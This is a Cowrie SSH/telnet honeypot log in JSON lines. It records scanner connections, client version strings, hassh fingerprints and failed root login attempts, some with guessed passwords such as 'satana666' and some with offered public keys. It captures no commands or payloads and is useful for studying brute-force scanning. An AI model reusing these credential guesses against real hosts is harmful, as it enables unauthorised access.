{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:39.055764Z","src_ip":"37.233.85.71","session":"d322e4abcb70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:39.164186Z","src_ip":"37.233.85.71","session":"d322e4abcb70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satana666","message":"login attempt [root/satana666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:39.489322Z","src_ip":"37.233.85.71","session":"d322e4abcb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:40.600672Z","src_ip":"37.233.85.71","session":"d322e4abcb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.23500871658325,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:41.961175Z","src_ip":"152.42.224.71","session":"c03437932ef6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":54564,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c98252d646c","protocol":"ssh","message":"New connection: 47.237.167.49:54564 (159.203.135.109:22) [session: 5c98252d646c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:43.188804Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34650,"dst_ip":"10.17.0.5","dst_port":23,"session":"677f5e09f522","protocol":"telnet","message":"New connection: 152.42.224.71:34650 (10.17.0.5:23) [session: 677f5e09f522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:43.224886Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39478,"dst_ip":"159.203.135.109","dst_port":22,"session":"503e482c28e4","protocol":"ssh","message":"New connection: 31.40.204.166:39478 (159.203.135.109:22) [session: 503e482c28e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:46.181813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:46.199750Z","src_ip":"31.40.204.166","session":"503e482c28e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:46.310675Z","src_ip":"31.40.204.166","session":"503e482c28e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:47.215966Z","src_ip":"31.40.204.166","session":"503e482c28e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:48.399420Z","src_ip":"31.40.204.166","session":"503e482c28e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.541976928710938,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:49.947517Z","src_ip":"152.42.224.71","session":"b1bd2ee77d5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39180,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a277858eb95","protocol":"telnet","message":"New connection: 152.42.224.71:39180 (10.17.0.5:23) [session: 6a277858eb95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:53.930164Z"}
{"eventid":"cowrie.session.closed","duration":89.57988500595093,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:54.025964Z","src_ip":"152.42.224.71","session":"2abc8ccc2e3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.63929319381714,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:54.552729Z","src_ip":"152.42.224.71","session":"62cf1cd7b70d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39186,"dst_ip":"10.17.0.5","dst_port":23,"session":"1055d1b9375b","protocol":"telnet","message":"New connection: 152.42.224.71:39186 (10.17.0.5:23) [session: 1055d1b9375b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:55.167636Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":40486,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b307572eaea","protocol":"ssh","message":"New connection: 190.85.41.170:40486 (10.17.0.5:22) [session: 9b307572eaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:56.112403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:56.117117Z","src_ip":"190.85.41.170","session":"9b307572eaea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:56.189583Z","src_ip":"190.85.41.170","session":"9b307572eaea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"221090","message":"login attempt [root/221090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:56.510826Z","src_ip":"190.85.41.170","session":"9b307572eaea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:57.586611Z","src_ip":"190.85.41.170","session":"9b307572eaea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56702,"dst_ip":"159.203.135.109","dst_port":22,"session":"abc805fc4d56","protocol":"ssh","message":"New connection: 31.40.204.166:56702 (159.203.135.109:22) [session: abc805fc4d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.535486Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":38906,"dst_ip":"10.17.0.5","dst_port":22,"session":"7171f620f75c","protocol":"ssh","message":"New connection: 149.56.241.206:38906 (10.17.0.5:22) [session: 7171f620f75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.540424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.546897Z","src_ip":"31.40.204.166","session":"abc805fc4d56","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.551441Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.572938Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:f2:56:8b:4d:1f:f6:0e:5a:3e:9e:fa:b5:ed:dd:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbxpTZCkQLavK0fMWap53/ewJERMkggHR3pquADyC1+CW+lfSiT0f7L+MpAjmqbVD4z4GcVI+9X32+riZy+mlOSLRi9FYy2ErzGgPES6W5DYsHMZIlWYfDo4ReFvCHODlCxEcos6WiD/VkM6dCD5ZD94d7Z9T/5JohJbbfn8P6YmP/opHcOSUQL+b644nfe82+IEUVHgHYervaP1FN9wC/z2eNklJZPXhmNm6epJKt3IJHYOS8xtVmqla5ZeFbTwSsBK3FfqLtbF95BB2mc0DNl8mUj8tYVY5DV3lH9AJznUZkNuArUyWC7HSj5ShXx1ub/+AULingbDErAdMtFr0P","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:f2:56:8b:4d:1f:f6:0e:5a:3e:9e:fa:b5:ed:dd:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.657242Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:f2:56:8b:4d:1f:f6:0e:5a:3e:9e:fa:b5:ed:dd:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbxpTZCkQLavK0fMWap53/ewJERMkggHR3pquADyC1+CW+lfSiT0f7L+MpAjmqbVD4z4GcVI+9X32+riZy+mlOSLRi9FYy2ErzGgPES6W5DYsHMZIlWYfDo4ReFvCHODlCxEcos6WiD/VkM6dCD5ZD94d7Z9T/5JohJbbfn8P6YmP/opHcOSUQL+b644nfe82+IEUVHgHYervaP1FN9wC/z2eNklJZPXhmNm6epJKt3IJHYOS8xtVmqla5ZeFbTwSsBK3FfqLtbF95BB2mc0DNl8mUj8tYVY5DV3lH9AJznUZkNuArUyWC7HSj5ShXx1ub/+AULingbDErAdMtFr0P","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.661066Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:b0:77:97:49:e7:4f:b7:bc:36:f8:7f:23:19:47:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6NSDv2/3ZDSAIzT3oYDSDo3N2Lsp8Ts8abeILXVxHWHlycFMOzxIWx1ob8ntsL8E888sLk55SDZ2TipL1wcHcRnURozDPX9XqwYxq58IEQjcAylZzqqk9TLvC3RZln5Q9T1/iwISozzzbPeY738zEd2wYsrxV1GrekuVrK9iFDCaK8qZJHBTEhmE7VvRUDBEpqFCfSfjo1nfe2k/gKnMF2HKUI8jXgcifw/P6zWhQMyGfC8bYIMULUSP5+UZsYMmUgrJmm1fIUEg9AGoUUpAqX6TTfAcgjQwsK1guGZqUMmEw1hwSHNGHUlrYHRqJYKnOcZg6UwVvglDXpu/nFPfOno4uHC/E5RPiVUx4/rothglhinwGk4YtpPfy5N4bae6/uz/sKnLYm05fzCzqgX03PaEzCtdZGWwfb4wiTdFBuOBHe8qgpzPZ4BRDqONSWQdbfjHJ9crC44tc2VyBiVQthqtfZLe5l3AWILLHG6IXB77EiuD9onIKNjYLn2QSArxDdBy3tabkoLDGfez29Y7/JxwLvtRFp6UKsUBW0VOb9e0eKfffFwtpGHEqtCuqMHR+QkYXpmXT20vDzV0v8lvmXf4XFBCW7KaGOGXMsXoOtXXur81Zal+8TcJVgjvJfl31Jh/mbovG1iRIgx2Y5El8RLFhU9nEi9LQsAs2lutctw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:b0:77:97:49:e7:4f:b7:bc:36:f8:7f:23:19:47:8f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.684735Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:b0:77:97:49:e7:4f:b7:bc:36:f8:7f:23:19:47:8f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6NSDv2/3ZDSAIzT3oYDSDo3N2Lsp8Ts8abeILXVxHWHlycFMOzxIWx1ob8ntsL8E888sLk55SDZ2TipL1wcHcRnURozDPX9XqwYxq58IEQjcAylZzqqk9TLvC3RZln5Q9T1/iwISozzzbPeY738zEd2wYsrxV1GrekuVrK9iFDCaK8qZJHBTEhmE7VvRUDBEpqFCfSfjo1nfe2k/gKnMF2HKUI8jXgcifw/P6zWhQMyGfC8bYIMULUSP5+UZsYMmUgrJmm1fIUEg9AGoUUpAqX6TTfAcgjQwsK1guGZqUMmEw1hwSHNGHUlrYHRqJYKnOcZg6UwVvglDXpu/nFPfOno4uHC/E5RPiVUx4/rothglhinwGk4YtpPfy5N4bae6/uz/sKnLYm05fzCzqgX03PaEzCtdZGWwfb4wiTdFBuOBHe8qgpzPZ4BRDqONSWQdbfjHJ9crC44tc2VyBiVQthqtfZLe5l3AWILLHG6IXB77EiuD9onIKNjYLn2QSArxDdBy3tabkoLDGfez29Y7/JxwLvtRFp6UKsUBW0VOb9e0eKfffFwtpGHEqtCuqMHR+QkYXpmXT20vDzV0v8lvmXf4XFBCW7KaGOGXMsXoOtXXur81Zal+8TcJVgjvJfl31Jh/mbovG1iRIgx2Y5El8RLFhU9nEi9LQsAs2lutctw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.688436Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.697963Z","src_ip":"31.40.204.166","session":"abc805fc4d56","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:64:89:8b:2a:09:3f:ba:e9:f1:c2:8f:93:f1:dc:e2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKHBKGsyMuMUTJ7uPoseh64arF38LsCvHMSU/Me6sB7r","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 35:64:89:8b:2a:09:3f:ba:e9:f1:c2:8f:93:f1:dc:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.710742Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:64:89:8b:2a:09:3f:ba:e9:f1:c2:8f:93:f1:dc:e2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKHBKGsyMuMUTJ7uPoseh64arF38LsCvHMSU/Me6sB7r","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.714474Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:65:7f:82:a5:d0:4c:a5:bc:00:40:b3:10:76:75:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnqwSQpjqxrI+RrNFfUXndGbm8gLhdNRvWaCxHpdXmfd7Y6LJECXEHzZxTKjpFpipYS2tna/rlEeis/lyB2ofwyM/UlZ6RcQDq5v+nMBIZooh/aDu/9ny9qJ196dYuXx6/+OE8g4LvruLpeCW7NgNyz45iFTpx/UpzQG4/CQqBPMTX6G52uj7bYLgozZzswYk17bz94yN36/Rg3FNZVm8iHu1EPVh+D2NUjcoyRSED3WchG0SQhDPIGR1Ze/i6fqu9XeFNfsmSoAbgt/dW8Y9ES2BkC2EYiXJsw+vFnvWc9Tz7zN4vhxjfpihOJvjxsT7Zj++2una/Bd/0pRRzIDDL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:65:7f:82:a5:d0:4c:a5:bc:00:40:b3:10:76:75:2d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.735344Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:65:7f:82:a5:d0:4c:a5:bc:00:40:b3:10:76:75:2d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnqwSQpjqxrI+RrNFfUXndGbm8gLhdNRvWaCxHpdXmfd7Y6LJECXEHzZxTKjpFpipYS2tna/rlEeis/lyB2ofwyM/UlZ6RcQDq5v+nMBIZooh/aDu/9ny9qJ196dYuXx6/+OE8g4LvruLpeCW7NgNyz45iFTpx/UpzQG4/CQqBPMTX6G52uj7bYLgozZzswYk17bz94yN36/Rg3FNZVm8iHu1EPVh+D2NUjcoyRSED3WchG0SQhDPIGR1Ze/i6fqu9XeFNfsmSoAbgt/dW8Y9ES2BkC2EYiXJsw+vFnvWc9Tz7zN4vhxjfpihOJvjxsT7Zj++2una/Bd/0pRRzIDDL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:38:58.738823Z","src_ip":"149.56.241.206","session":"7171f620f75c","protocol":"ssh"}
